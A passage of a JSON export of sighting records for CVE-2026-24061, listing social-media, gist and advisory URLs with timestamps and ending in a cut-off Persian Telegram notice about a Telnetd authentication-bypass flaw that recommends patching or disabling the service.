"CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3md2hmglxcc2u", "content": "", "creation_timestamp": "2026-01-23T00:39:46.432139Z"}, {"uuid": "15abde07-88ae-49bd-94c0-dd466349bf18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://mstdn.social/users/jschauma/statuses/115942030116248831", "content": "", "creation_timestamp": "2026-01-23T02:23:03.942622Z"}, {"uuid": "bb40aaae-12fa-4038-8723-44c00c334125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/jschauma.mstdn.social.ap.brid.gy/post/3md2nhmb2mzm2", "content": "", "creation_timestamp": "2026-01-23T02:25:01.937977Z"}, {"uuid": "55923f74-f334-48e4-9747-0d3a9f2ad943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3md2nl6pq722a", "content": "", "creation_timestamp": "2026-01-23T02:26:26.420918Z"}, {"uuid": "a81f1409-b641-4d6b-9d22-f060da29f18d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://gist.github.com/Darkcrai86/deeed3700212e04ce7c277ea6d444a61", "content": "", "creation_timestamp": "2026-01-23T07:42:13.000000Z"}, {"uuid": "04db19f9-eb46-4322-8039-79e8b5ca9708", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/nothing.hispagatos.space.ap.brid.gy/post/3md62uf77jj52", "content": "", "creation_timestamp": "2026-01-24T11:06:24.243042Z"}, {"uuid": "c06e02e7-9101-4765-b964-8b377fba2566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3md7lzml6qb2v", "content": "", "creation_timestamp": "2026-01-25T01:42:02.489345Z"}, {"uuid": "482b01e9-7eee-44e2-80d2-16dc6d491ea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/itarmy-ua.bsky.social/post/3md6dwf7prk2y", "content": "", "creation_timestamp": "2026-01-24T13:44:23.814060Z"}, {"uuid": "953e7dd2-89d9-47f0-b91b-f414ea1a406b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/cosmicmetanft.bsky.social/post/3md6fdg3myu26", "content": "", "creation_timestamp": "2026-01-24T14:09:34.864509Z"}, {"uuid": "418d8d9c-cb21-405d-b38c-74f1887bc126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3md6sf72mtp27", "content": "", "creation_timestamp": "2026-01-24T18:03:13.452265Z"}, {"uuid": "659da368-5dc9-4807-ad5f-292b467da340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3md74gpfij32q", "content": "", "creation_timestamp": "2026-01-24T21:03:05.026179Z"}, {"uuid": "07e3f9b3-333b-46d0-bd43-8256bd9f9ff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "0ba55811-2621-416c-8e55-e98f0f6ecfd6", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/1e1a5c92-386f-4bce-a79d-a0850f3526dd", "content": "", "creation_timestamp": "2026-01-26T16:47:00.691681Z"}, {"uuid": "4a604b50-694e-4b07-929c-48f36f141773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://gist.github.com/KarelWintersky/f456a4ac097637c2cacd53c046727895", "content": "", "creation_timestamp": "2026-01-23T10:50:39.000000Z"}, {"uuid": "8b377bf8-e97d-4b99-818d-5ac9e8a8350c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://gist.github.com/thereisnotime/064e0ebb11a49c952b30678dd43c1337", "content": "", "creation_timestamp": "2026-01-23T14:43:18.000000Z"}, {"uuid": "97c2e884-81bd-44ba-a81b-ccde420e244e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3md3y545adw2n", "content": "", "creation_timestamp": "2026-01-23T15:08:05.461151Z"}, {"uuid": "b1a97252-d09c-489a-8c12-33ad25d1dd28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3md3y554gyp2t", "content": "", "creation_timestamp": "2026-01-23T15:08:06.854469Z"}, {"uuid": "ae765894-252a-4e3e-80e9-270269982eec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3md44ly26gc2o", "content": "", "creation_timestamp": "2026-01-23T16:28:03.577676Z"}, {"uuid": "c8c923a9-d6b3-4d70-a6be-53808df1f050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/defendopsdiaries/statuses/115945383734785170", "content": "", "creation_timestamp": "2026-01-23T16:35:53.607385Z"}, {"uuid": "fbfa6a31-a76e-4a84-9ad7-7f8b2cd461c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3md46656dcx2a", "content": "", "creation_timestamp": "2026-01-23T16:56:01.905888Z"}, {"uuid": "f58044e4-be78-4f54-87cf-a4b2b0d2a647", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3md4cuy34wi2c", "content": "", "creation_timestamp": "2026-01-23T18:20:23.390929Z"}, {"uuid": "b99381af-71f1-4266-bc65-214b479d9236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3md4e6lzvik2m", "content": "", "creation_timestamp": "2026-01-23T18:43:40.466019Z"}, {"uuid": "62543630-88ab-47e5-80d9-d97426754e70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/115945917651397258", "content": "", "creation_timestamp": "2026-01-23T18:51:40.669126Z"}, {"uuid": "e9710400-0afa-4ff6-8de2-1efba4c5d120", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/mm-ilsoftware-bot.bsky.social/post/3md4f4xa63o26", "content": "", "creation_timestamp": "2026-01-23T19:00:38.394570Z"}, {"uuid": "df1225cc-5a9d-48d2-b34e-c4c925397dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3md4f6c6ltl32", "content": "", "creation_timestamp": "2026-01-23T19:04:56.836477Z"}, {"uuid": "ce77d991-510f-4a18-85d3-5eb13bb5306d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3md55vosjgo2m", "content": "", "creation_timestamp": "2026-01-24T02:23:58.088762Z"}, {"uuid": "4698863f-8f3d-41a3-b9bb-5e3f4ff4ae75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3md4v4iho3c2m", "content": "", "creation_timestamp": "2026-01-23T23:46:43.208093Z"}, {"uuid": "3bff39a0-e59e-4938-a5c1-60fcbd754fee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3md523fpyzy2s", "content": "", "creation_timestamp": "2026-01-24T01:15:35.254197Z"}, {"uuid": "8cd2feb4-3dec-44f0-bd2f-dd8c72e9b676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3md52o4ijbk2n", "content": "", "creation_timestamp": "2026-01-24T01:26:03.209509Z"}, {"uuid": "c0f76d4c-a132-4dda-aa8e-286fd516ea5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/signote.cc/post/3md546xdlwk23", "content": "", "creation_timestamp": "2026-01-24T01:53:25.468099Z"}, {"uuid": "23c07fd2-2628-4ecf-9153-2149098f1df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/signote.cc/post/3md54c37ta223", "content": "", "creation_timestamp": "2026-01-24T01:55:09.456965Z"}, {"uuid": "b36ef686-6c0a-4e11-87b3-80649efcd5e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3md5acoj47t2l", "content": "", "creation_timestamp": "2026-01-24T03:07:01.682171Z"}, {"uuid": "e996789d-cc34-4449-b39c-33de12247c24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/signote.cc/post/3md5bs5bnnc2e", "content": "", "creation_timestamp": "2026-01-24T03:33:37.373050Z"}, {"uuid": "5ed40edf-c714-45ee-b943-c27871e720a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3md5jrh7fdww2", "content": "", "creation_timestamp": "2026-01-24T05:59:45.489548Z"}, {"uuid": "5c53b74b-7c0c-4846-ac02-f85feee31e4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/appinn.bsky.social/post/3mhhyo6gmi52z", "content": "", "creation_timestamp": "2026-03-20T07:30:20.941957Z"}, {"uuid": "7df45519-46da-476d-a7d0-ba402bdd58cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3md7olu6nv42a", "content": "", "creation_timestamp": "2026-01-25T02:28:01.279485Z"}, {"uuid": "aa5ca995-7251-40a4-af6f-a9fb729cbb66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/h12o.mastodon.tokyo.ap.brid.gy/post/3mda4qofeewc2", "content": "", "creation_timestamp": "2026-01-25T06:41:27.062883Z"}, {"uuid": "98c0689b-4b35-4f2d-a94a-16cb98f41182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mda6mz7sv22m", "content": "", "creation_timestamp": "2026-01-25T07:15:00.933155Z"}, {"uuid": "7ba02893-a0cc-4144-a680-7ca878803573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mdaepycqkx2c", "content": "", "creation_timestamp": "2026-01-25T09:04:03.263193Z"}, {"uuid": "0667b619-f035-488d-b413-ceb4b8562926", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mdagk3bysd2j", "content": "", "creation_timestamp": "2026-01-25T09:36:31.392067Z"}, {"uuid": "326b4947-ca20-4aee-aa9a-25d87716f808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mdazsc44yw2c", "content": "", "creation_timestamp": "2026-01-25T15:21:08.716857Z"}, {"uuid": "656ff1bb-1ce0-4d2a-9149-7b83b69f7027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mdb5unw6ux2o", "content": "", "creation_timestamp": "2026-01-25T16:34:03.745865Z"}, {"uuid": "6d573895-2364-4db4-9cfc-73cface527a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mdbmovliiu2z", "content": "", "creation_timestamp": "2026-01-25T20:59:15.951240Z"}, {"uuid": "f5f6b288-6bfd-4905-b665-d2ab6e5d2490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "cve-2026-24061", "type": "confirmed", "source": "https://www.labs.greynoise.io/grimoire/2026-01-22-f-around-and-find-out-18-hours-of-unsolicited-houseguests/", "content": "", "creation_timestamp": "2026-01-25T21:46:50.006805Z"}, {"uuid": "b4909264-e57b-4ede-b048-8e4d358c7227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/patrickcmiller/statuses/115958383938352988", "content": "", "creation_timestamp": "2026-01-25T23:42:01.222072Z"}, {"uuid": "62c90336-c1ca-4d78-b545-9d9a20c31021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdc72qkl2b26", "content": "", "creation_timestamp": "2026-01-26T02:28:00.107857Z"}, {"uuid": "1dedd2af-9182-45ea-a119-a6c836ad6540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mdgdssntgi2l", "content": "", "creation_timestamp": "2026-01-27T18:03:41.949210Z"}, {"uuid": "0577ca58-6d8c-4c01-8192-16c182ee6dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/115960887466630861", "content": "", "creation_timestamp": "2026-01-26T10:18:42.681964Z"}, {"uuid": "b0b46bdd-89a6-47ce-a0d7-c4e784ed5f94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdczhc5d7s23", "content": "", "creation_timestamp": "2026-01-26T10:20:22.914158Z"}, {"uuid": "c35e6ca5-1897-430e-91ca-416fce5de754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdczhejthk23", "content": "", "creation_timestamp": "2026-01-26T10:20:23.989449Z"}, {"uuid": "0f766a7c-1359-48a0-9a4c-6375cabdda2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdczhfehys23", "content": "", "creation_timestamp": "2026-01-26T10:20:25.012957Z"}, {"uuid": "32390e3f-3c92-40ea-bb5b-a0c82963f979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdczsbkpr22a", "content": "", "creation_timestamp": "2026-01-26T10:26:31.016089Z"}, {"uuid": "a047261e-edb3-42c3-a173-dccc07ad7903", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdczsdstes2a", "content": "", "creation_timestamp": "2026-01-26T10:26:32.132452Z"}, {"uuid": "baa1ec4f-7dd1-4f2a-bac1-86de296dda07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdczsermq22a", "content": "", "creation_timestamp": "2026-01-26T10:26:33.248963Z"}, {"uuid": "c1619042-b07b-4d5d-a2c1-81d1cae14981", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdd23zn47k2a", "content": "", "creation_timestamp": "2026-01-26T10:31:55.895674Z"}, {"uuid": "9e9f966c-91e9-4612-8d71-ae6ca766c62e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://www.acn.gov.it/portale/w/gnu-rilevato-sfruttamento-in-rete-della-cve-2026-24061", "content": "", "creation_timestamp": "2026-01-26T07:05:30.000000Z"}, {"uuid": "a620df37-2626-494f-b30f-e0e81ff4f6d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://cyberplace.social/users/GossiTheDog/statuses/115961088688323642", "content": "", "creation_timestamp": "2026-01-26T11:10:02.635856Z"}, {"uuid": "8f4934a5-0042-4eaf-b92d-bb60c6ed58e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3mdgerfjnyb2j", "content": "", "creation_timestamp": "2026-01-27T18:20:48.125391Z"}, {"uuid": "a23f7aa8-4166-4601-b964-f8b296e19608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/technology-news.bsky.social/post/3mdgm6fm3tw2f", "content": "", "creation_timestamp": "2026-01-27T20:33:21.557412Z"}, {"uuid": "e25faa09-3823-4338-89f1-75af664de04d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/theitnerd.ca/post/3mdde2mzrpl2k", "content": "", "creation_timestamp": "2026-01-26T13:30:07.829698Z"}, {"uuid": "289ae1e7-a281-4fc1-a764-d57e4ea30d0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mddgnr5i7l2e", "content": "", "creation_timestamp": "2026-01-26T14:16:34.386462Z"}, {"uuid": "891b2d61-34b5-4ef1-9876-7d095842518e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mddibzmmzi2o", "content": "", "creation_timestamp": "2026-01-26T14:45:48.527578Z"}, {"uuid": "aa0728b2-ee19-48d7-9ce0-b265292af39a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mdgnthzzfk2k", "content": "", "creation_timestamp": "2026-01-27T21:03:07.404438Z"}, {"uuid": "8678e46d-e025-47e9-967e-e847d2c0c1a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mddkwaxn5y2m", "content": "", "creation_timestamp": "2026-01-26T15:32:54.335961Z"}, {"uuid": "b4702f6c-5498-49da-8bec-da976bdd6491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdh7xqbwwa2y", "content": "", "creation_timestamp": "2026-01-28T02:27:31.683260Z"}, {"uuid": "52c0f4f6-27fc-4763-915f-18f5ab62c4ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/goncalor/statuses/115962624709392161", "content": "", "creation_timestamp": "2026-01-26T21:17:30.104083Z"}, {"uuid": "c84ef0de-5a32-4b43-b303-63c8377c968b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/115964142568645058", "content": "", "creation_timestamp": "2026-01-27T00:06:31.206350Z"}, {"uuid": "84308531-1a27-4d43-8df8-78e2f8b5c43d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/115964224273488889", "content": "", "creation_timestamp": "2026-01-27T00:27:17.865822Z"}, {"uuid": "237f50b6-c546-4ded-816c-ec1a68da24a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/sachapman.bsky.social/post/3mdejkjnrpc2v", "content": "", "creation_timestamp": "2026-01-27T00:41:09.643883Z"}, {"uuid": "2e85faf2-80ee-4f0d-b48e-164bffef2c27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://t.me/cyberbannews_ir/21054", "content": "\ud83d\udd34 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc Telnetd\u061b \u0627\u0645\u06a9\u0627\u0646 \u0646\u0641\u0648\u0630 \u0628\u062f\u0648\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a\n\n\ud83d\udd3b \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-2026-24061 \u062f\u0631 \u0633\u0631\u0648\u06cc\u0633 Telnetd \u0627\u0645\u06a9\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u062f\u0648\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0648 \u062d\u062a\u06cc \u062f\u0633\u062a\u06cc\u0627\u0628\u06cc \u0628\u0647 \u0633\u0637\u062d \u0631\u0648\u062a \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0628\u0647\u200c\u0633\u0627\u062f\u06af\u06cc \u0642\u0627\u0628\u0644 \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0633\u062a \u0648 \u0645\u0648\u0627\u0631\u062f\u06cc \u0627\u0632 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0648\u0627\u0642\u0639\u06cc \u0622\u0646 \u06af\u0632\u0627\u0631\u0634 \u0634\u062f\u0647 \u0627\u0633\u062a. \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0633\u0631\u0648\u06cc\u0633 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06cc\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u0634\u062f\u0647 